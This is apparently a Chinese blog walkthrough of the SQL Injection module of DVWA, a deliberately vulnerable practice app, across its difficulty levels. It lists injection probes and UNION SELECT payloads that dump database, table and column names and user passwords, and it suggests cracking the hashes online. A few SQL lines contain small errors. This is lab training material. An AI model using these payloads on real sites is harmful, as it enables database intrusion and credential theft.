DVWA之SQL Injection

DVWA之SQL Injection

判断是否存在注入的方法:在输入框输入 1’
DVWA之SQL Injection

Select * from xxxx where id =1’
Select * from xxxx where id =’1’’

无论是整型还是字符型此时都会报错,说明存在注入点

一.等级:LOW

(一)分类

1.整型

测试如下:
DVWA之SQL Injection
DVWA之SQL Injection
此时界面结果显示一致,说明并非整型

select * from xxx where id=1 and 1=2

若为整型,说明sql语句不成立,会报错

2.字符型

在输入框输入“1’ and ‘1’=’1”
DVWA之SQL Injection
当输入“1’ and ‘1’=’2”时出现如下情况

DVWA之SQL Injection
我们对比发现

Select * from xx where id ‘1’ and ‘1’=’1’
Select * from xx where id ‘1’ and ‘1’=’2’

说明and起作用了,即为字符型。
字符型一般够造闭合的方法有两种:
一是直接加#,如 1’and 1=1 #
DVWA之SQL Injection

二是 加上 – space(空格)
DVWA之SQL Injection

(二)注入

1.判断列的长度

判断长度通过二分法判断
Order by xxx
这里是字符型,用1’order by xxx#,用100进行测试
DVWA之SQL Injection
50测试
DVWA之SQL Injection

我们发现,当我们测试到2时,出现如下界面,表示成功,说明有2个字段
DVWA之SQL Injection

2.页面回显点

根据我们刚刚判断的结果,有2个字段,进行联合查询

Union select 1,2#

找到回显位置以后,我们通过替换来查找我们需要的数据库版本以及数据库名

-1’ union select version(),database()#

DVWA之SQL Injection
这里我们得到数据库版本以及数据库名。
注:information_schema.schemata 数据库相关信息
Schema_name 库名
Information_schema.tables 数据库的相关信息
Table_schema 数据库所在库名
Information_schema.columns 列相关信息
Column_name 字段名

(1)爆库名

1’ and 1=2 union select 1,database()#

DVWA之SQL Injection
(2)爆表名

1’ and 1=2 union select 1,table_name from information_schema.tables where table_schema=’dvwa’#

DVWA之SQL Injection

(3)爆字段名

1’ and 1=2 union select 1,column_name from information_schema.columns where table schema=’dvwa’ and table name=’admin’#

(4)拿字段值

1’ and 1=2 union select user.password from users#

获取到的密码去www.cmd5.com解密

二.等级:medium

将DVWA等级设置为中级,由于中级通过下拉表的方式提交数据,所以我们借助Burpsuite来完成操作,将抓到的包发送到Repeater
DVWA之SQL Injection
同前面的方法一样,判断sql注入的类型,找到回显点等信息
DVWA之SQL Injection

三.等级:high

DVWA之SQL Injection
判断是否存在sql注入

DVWA之SQL Injection

通过观察源代码,我们发现多了一个LIMIT 1,只需将它注释掉即可,使用#,其使用方法和上述方法一样。
DVWA之SQL Injection

四.等级:impossible

顾名思义,破解是不能够轻易实现的,我们通过观察也可以发现,这里使用了PDO技术。
PDO--------PHP Date Object
DVWA之SQL Injection

上一篇:B站 程序学习的 黑客攻防 - 记录


下一篇:新手指南:DVWA-1.9全级别教程之Command Injection